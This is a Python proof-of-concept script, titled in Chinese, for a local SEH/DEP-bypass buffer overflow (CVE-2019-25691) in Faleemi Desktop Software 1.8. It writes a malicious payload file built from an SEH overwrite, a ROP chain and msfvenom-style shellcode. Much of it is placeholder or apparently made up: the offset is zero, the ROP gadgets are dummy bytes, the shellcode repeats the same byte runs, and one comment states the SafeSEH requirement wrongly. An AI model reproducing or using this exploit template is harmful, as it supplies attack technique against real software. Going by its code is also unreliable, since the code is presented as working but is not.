CVE-2019-25691 Faleemi桌面软件缓冲区溢出漏洞

#!/usr/bin/env python # -*- coding: utf-8 -*- """ PoC for CVE-2019-25691 Faleemi Desktop Software 1.8 Local Buffer Overflow (SEH/DEP Bypass) This script generates a malicious payload to trigger the buffer overflow. """ import sys # Bad characters that might corrupt the payload (example) bad_chars = b"\x00\x0a\x0d" # 1. Offset to overwrite SEH handler (Example value, needs debugging) offset = 0 # 2. SEH Handler address (POP POP RET instruction) # This address must point to a non-ASLR module with safe SEH handling seh_handler = b"\xAF\x11\x50\x62" # Placeholder address # 3. Short jump to payload (nops + shellcode) short_jump = b"\xEB\x06\x90\x90" # 4. ROP Chain to bypass DEP # This is a generic representation. Real addresses depend on loaded modules. rop_chain = b"" rop_chain += b"\xAA\xAA\xAA\xAA" # Pivot gadget rop_chain += b"\xBB\xBB\xBB\xBB" # VirtualProtect call rop_chain += b"\xCC\xCC\xCC\xCC" # Parameters # 5. Payload (Calc.exe or MSFVenom shellcode) # msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python shellcode = b"" shellcode += b"\xd4\xc3\xb3\x9e\x2b\xc9\xb1\x33\xd9\xcb\xba\x7b\xd9\x74" shellcode += b"\x24\xf4\x5e\x31\x56\x13\x83\xc6\x04\x03\x56\xf8\x76\x8a" shellcode += b"\x34\x46\x9c\x8c\x7b\x52\x54\x53\x4a\x15\x03\x51\xb8\x3c" shellcode += b"\x4c\x93\x4d\x9c\x9e\x98\x4c\x62\x1a\x7b\xc7\x63\x6b\x09" shellcode += b"\xa2\x7b\x4f\xe6\xc9\x34\x19\x78\x3b\x53\x3a\x63\x82\x2e" shellcode += b"\x6c\x4a\x15\xcb\x45\xc2\x4a\x15\xb8\x3f\x2e\x6c\x4a\x15" shellcode += b"\xcb\x45\x8a\x34\x46\x9c\x8c\x7b\x52\x54\x53\x4a\x15\x03" shellcode += b"\x51\xb8\x3c\x4c\x93\x4d\x9c\x9e\x98\x4c\x62\x1a\x7b\xc7" shellcode += b"\x63\x6b\x09\xa2\x7b\x4f\xe6\xc9\x34\x19\x78\x3b\x53\x3a" shellcode += b"\x63\x82\x2e\x6c\x4a\x15\xcb\x45\xc2\x4a\x15\xb8\x3f\x2e" shellcode += b"\x6c\x4a\x15\xcb\x45" # Padding to align the payload padding = b"\x90" * 20 # Construct final buffer buffer = b"A" * offset buffer += seh_handler buffer += short_jump buffer += rop_chain buffer += padding buffer += shellcode buffer += b"C" * (3000 - len(buffer)) try: with open("CVE-2019-25691_PoC.txt", "wb") as f: f.write(buffer) print("[+] Payload generated successfully: CVE-2019-25691_PoC.txt") print(f"[+] Payload length: {len(buffer)} bytes") except Exception as e: print(f"[-] Error generating payload: {e}")